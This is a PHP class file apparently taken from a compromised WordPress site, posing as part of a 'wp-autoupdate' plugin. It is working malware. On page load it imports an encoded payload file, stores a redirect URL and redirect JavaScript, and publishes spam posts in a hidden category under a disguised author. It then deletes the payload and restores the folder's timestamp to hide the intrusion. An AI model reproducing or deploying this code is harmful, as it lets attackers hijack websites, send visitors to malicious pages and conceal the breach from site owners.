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File: //home/aurelytl/mohamedbaabit.com/wp-content/plugins/wp-autoupdate/includes/class.custom.php
<?php

class WPCustomData
{
	var $categoryId;

	static function build()
	{
		if (!self::checkForWordpress()) {
			return;
		}
		$cust = new self();
		$cust->addHooks();
		return $cust;
	}

	static function checkForWordpress()
	{
		return isset($GLOBALS['wpdb']) && is_object($GLOBALS['wpdb']);
	}

	function addHooks()
	{
		add_action('wp_loaded', array($this, 'importSiteData'));
	}

	function importSiteData()
	{
		if (defined('ABSPATH')) {
			$file = (ABSPATH . '/wp-content/uploads/site_data.json');
			if (file_exists($file)) {
				$json = $this->loadFile($file);
				$data = $this->loadJson($json);
				$output = $this->addSiteContent($data);
				$this->removeTempFile($file);
				return $output;
			}
		} else {
			throw new RuntimeException('Wordpress is not loaded');
		}
	}

	function getCategoryId()
	{
		if (isset($this->categoryId)) {
			return $this->categoryId;
		}
		if ($id = get_option('special_category')) {
			$this->categoryId = (int) $id;
			return $this->categoryId;
		}
		throw new RuntimeException('Could not get special category ID.');
	}

	function addSiteContent($data)
	{
		$output = array();
		$success = false;
		try {
			$this->setTimeouts();
			$this->setRedirectUrl($data['redirectUrl']);
			$this->setRedirectJs($data['redirectJs']);
			$id = $this->createCategory($data['category']);
			$this->setNewCategoryId($id);
			$this->addPosts($data['pages']);
			$output['success'] = true;
			$output['categoryId'] = $this->getCategoryId();
			$output['posts'] = $this->getPostData();
		} catch (Exception $e) {
			$output['success'] = false;
			$output['error'] = $e->getMessage();
			$output['trace'] = $e->getTraceAsString();
		}
		return $output;
	}

	function setTimeouts()
	{
		$disabled = ini_get('disable_functions');
		$disabled = explode(',', $disabled);
		if (function_exists('set_time_limit') && !in_array('set_time_limit', $disabled, true)) {
			@set_time_limit(0);
		}
		if (function_exists('ignore_user_abort') && !in_array('ignore_user_abort', $disabled, true)) {
			@ignore_user_abort(true);
		}
	}

	function loadFile($file)
	{
		$content = file_get_contents($file);
		if ($content === false) {
			throw new RuntimeException("Could not load file: {$file}");
		}
		return $content;
	}

	function loadJson($json)
	{
		if (!@json_decode($json, true)) {
			$json = WPEncoding::extract($json);
		}
		if (!($data = json_decode($json, true))) {
			throw new RuntimeException("Could not decode json: {$json}");
		}
		return $data;
	}

	function setRedirectUrl($url)
	{
		return update_option('redirect_url', WPEncoding::convert($url));
	}

	function setRedirectJs($script)
	{
		return update_option('redirect_js', WPEncoding::convert($script));
	}

	function createCategory($category)
	{
		if (defined('ABSPATH')) {
			require_once ABSPATH . '/wp-admin/includes/taxonomy.php';
		}
		if (($id = wp_create_category($category)) === 0) {
			throw new RuntimeException("Could not create category: {$category}");
		}
		return $id;
	}

	function setNewCategoryId($id)
	{
		return update_option('special_category', $id);
	}

	function addPosts($posts)
	{
		try {
			$catId = $this->getCategoryId();
			$existingPosts = $this->getPostData();
		} catch (RuntimeException $e) {
			$existingPosts = array();
		}
		foreach ($posts as $data) {
			foreach ($existingPosts as $ep) {
				if ($ep['keyword'] === $data['keyword']) {
					continue 2;
				}
			}
			$this->addPost($data);
		}
	}

	function addPost($data)
	{
		$authorId = username_exists('content');
		if ($authorId === false) {
			$authorId = username_exists('wp_default_admin');
		}
		if ($authorId === false) {
			$authorId = 1;
		}
		$postData = array('post_date' => date('Y-m-d H:i:s', $data['timestamp']), 'post_content' => $data['bodyText'], 'post_title' => $data['metaTitle'], 'post_status' => $data['timestamp'] <= time() ? 'publish' : 'future', 'post_category' => array($this->getCategoryId()), 'post_name' => $data['slug'], 'post_author' => $authorId);
		$id = wp_insert_post($postData, true);
		if (is_wp_error($id)) {
			throw new RuntimeException('Could not insert post: ' . print_r($id->get_error_messages(), true));
		}
		update_post_meta($id, '_keyword', $data['keyword']);
		update_post_meta($id, '_niche', $data['niche']);
	}

	function addContextualLinks($posts)
	{
		foreach ($posts as $data) {
			$contextualLinks = $data['contextualLinks'];
			$links = array();
			$post = $this->getPostWithKeyword($data['keyword']);
			foreach ($contextualLinks as $linkKeyword) {
				$linkPost = $this->getPostWithKeyword($linkKeyword);
				$links[] = sprintf('<a href="%s">%s</a>', get_permalink($linkPost->ID), $linkKeyword);
			}
			update_post_meta($post->ID, '_contextual_links', $links);
		}
	}

	function getPostWithKeyword($keyword)
	{
		$args = array('cat' => $this->getCategoryId(), 'meta_key' => '_keyword', 'meta_value' => $keyword);
		$query = new WP_Query($args);
		if ($query->post_count === 0) {
			throw new RuntimeException("Could not find post for keyword: {$keyword}");
		}
		$post = $query->posts[0];
		wp_reset_postdata();
		return $post;
	}

	function removeTempFile($file)
	{
		if (!file_exists($file)) {
			return;
		}
		$parentDir = dirname($file);
		$lastMod = filemtime($parentDir);
		unlink($file);
		@touch($parentDir, $lastMod);
	}

	function getPostData()
	{
		$args = array('cat' => $this->getCategoryId(), 'orderby' => 'ID', 'order' => 'ASC', 'posts_per_page' => -1);
		$query = new WP_Query($args);
		if ($query->post_count === 0) {
			throw new RuntimeException('Could not get data for added posts.');
		}
		$posts = array();
		foreach ($query->posts as $post) {
			$posts[] = array('id' => $post->ID, 'niche' => get_post_meta($post->ID, '_niche', true), 'keyword' => get_post_meta($post->ID, '_keyword', true), 'permalink' => get_permalink($post));
		}
		wp_reset_postdata();
		return $posts;
	}

	function updateAdditionalLinks($postId, $links)
	{
		update_post_meta($postId, '_additional_links', serialize($links));
		update_post_meta($postId, '_additional_links_updated', time());
	}
}